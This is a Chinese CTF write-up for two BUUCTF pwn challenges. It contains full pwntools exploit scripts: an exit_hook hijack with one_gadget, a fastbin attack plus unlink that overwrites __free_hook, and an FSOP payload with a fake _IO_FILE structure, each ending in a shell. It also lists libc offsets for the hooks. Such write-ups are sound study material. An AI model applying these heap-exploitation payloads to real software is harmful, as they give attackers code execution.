这道题考察比较单一,劫持exit_hook即可
在ida里面看到,首先会在本地寻找一个log.txt,否则直接段错误。因此现在本地创建一个log.txt。写不写内容都可以。
接下来是exit_hook的位置
exit_hook的位置
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
注意不一定非要显式的exit,程序正常返回也可以执行到。
就像这道题,如果直接调用菜单里的exit,会一并关掉输出流,导致无法回显。同时这里的one_gadget也比较难找,最后一个才成功。
from pwn import *
io=process('./ciscn_2019_n_7')
# io=remote('node4.buuoj.cn',25039)
context.log_level='debug'
elf=ELF('./ciscn_2019_n_7')
libc=elf.libc
def add(length,name):
io.recvuntil('choice-> ')
io.sendline(str(1))
io.recvuntil('Length:')
io.sendline(str(length))
io.recvuntil('name:')
io.send(str(name))
def edit(name,content):
io.recvuntil('choice-> ')
io.sendline(str(2))
io.recvuntil('name')
io.send(name)
io.recvuntil('contents')
io.send(content)
def leak():
io.recvuntil('choice-> ')
io.sendline(str(666))
def debug():
gdb.attach(io,"brva 0xc50")
leak()
leak()
libc_info = int(io.recvuntil('90'),16)
libc_base = libc_info-libc.sym['puts']
exit_hook = libc_base+0x5f0040+3848
print "libc_base----->" + hex(libc_base)
add(0x20,'a'*8+p64(exit_hook))
# debug()
one = [0x45216,0x4526a,0xf02a4,0xf1147]
# gdb.attach(io,"brva 0xF30")
# print "one_shot----->" + hex(one[1]+libc_base)
edit('a'*8,p64(libc_base+one[3]))
io.sendline('s')
io.interactive()
2.23下的uaf。
顺便总结一下uaf的一些经验。2.23下uaf可以:泄露堆(直接输出),泄露libc(fastbin attack修改下一个chunk的大小,进入unsortedbin)之后可以选择unlink或者fsop。
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)
参考文章https://blog.csdn.net/qq_39153421/article/details/115327308
参考文章2(更详细)https://cloud.tencent.com/developer/article/1096957
from pwn import *
# io = process('./wdb_2018_1st_babyheap')
io = remote('node4.buuoj.cn',25363)
context.log_level='debug'
elf=ELF('./wdb_2018_1st_babyheap')
libc=elf.libc
def add(index,content):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
if(len(content) == 0x20):
io.send(content)
else:
io.sendline(content)
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
if(len(content) == 0x20):
io.send(content)
else:
io.sendline(content)
def show(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Index')
io.sendline(str(index))
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Index')
io.sendline(str(index))
def debug():
gdb.attach(io,"b *0x4009A0")
add(30,'ccc')
# first way to solve:use unlink
add(0,p64(0x31)*4)
add(1,p64(0x31)*4)
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,'/bin/sh\x00')
# leak heap_base
delete(1)
delete(0)
show(0)
# debug()
heap_info = u64(io.recvline()[:-1].ljust(8,'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print "heap_base----->" + hex(heap_base)
#fastbin attack, fake chunk inside the fastbin with unlink
ptr_addr = 0x602060
delete(1)
add(5,p64(heap_base+0x10))
add(6,'a')
add(7,'a')
payload = p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+p64(0x20)+p64(0x90)#overlap the next chunk
add(8,payload)
# debug()
edit(0,p64(0)+p8(0x21))
# gdb.attach(io,"b *0x400b54")
delete(1)
#get libc_addr
show(8)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = libc_info-0x3c4b78
print "libc_base----->" + hex(libc_base)
free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']
edit(0,p64(0)*3+p64(free_hook))
# debug()
edit(0,p64(system_addr))
# debug()
delete(4)
io.interactive()
注意按照模板写即可,原理见上面的参考文章
from pwn import *
io = process('./wdb_2018_1st_babyheap')
# io=remote('node4.buuoj.cn',27414)
# io = remote('node4.buuoj.cn',25363)
context.log_level='debug'
elf=ELF('./wdb_2018_1st_babyheap')
libc=elf.libc
def add(index,content):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
if(len(content) == 0x20):
io.send(content)
else:
io.sendline(content)
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Content:')
if(len(content) == 0x20):
io.send(content)
else:
io.sendline(content)
def show(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Index')
io.sendline(str(index))
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Index')
io.sendline(str(index))
def debug():
gdb.attach(io,"b *0x4009A0")
add(30,'ccc')
# first way to solve:use unlink
add(0,p64(0x31)*4)
add(1,p64(0x0)*2+p64(1)+p64(2))
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,p64(0)*4)
# leak heap_base
delete(1)
delete(0)
show(0)
heap_info = u64(io.recvline()[:-1].ljust(8,'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print "heap_base----->" + hex(heap_base)
edit(0,p64(heap_base+0x20))
add(5,p64(0))
add(6,p64(0)+p64(0x91))
add(7,p64(0)+p64(heap_base+0x10))
# debug()
delete(1)
show(1)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = libc_base-0x3c4b78
print "libc_base----->" + hex(libc_base)
edit(5,p64(0)*3+p64(libc_base+libc.sym['system']))
# fsop
edit(6,'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x10))# set size to smallbin[4], unsortedbin attack
gdb.attach(io,"b *0x4009A0")
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Index:')
io.sendline(str(8))
io.interactive()
以下是调试样例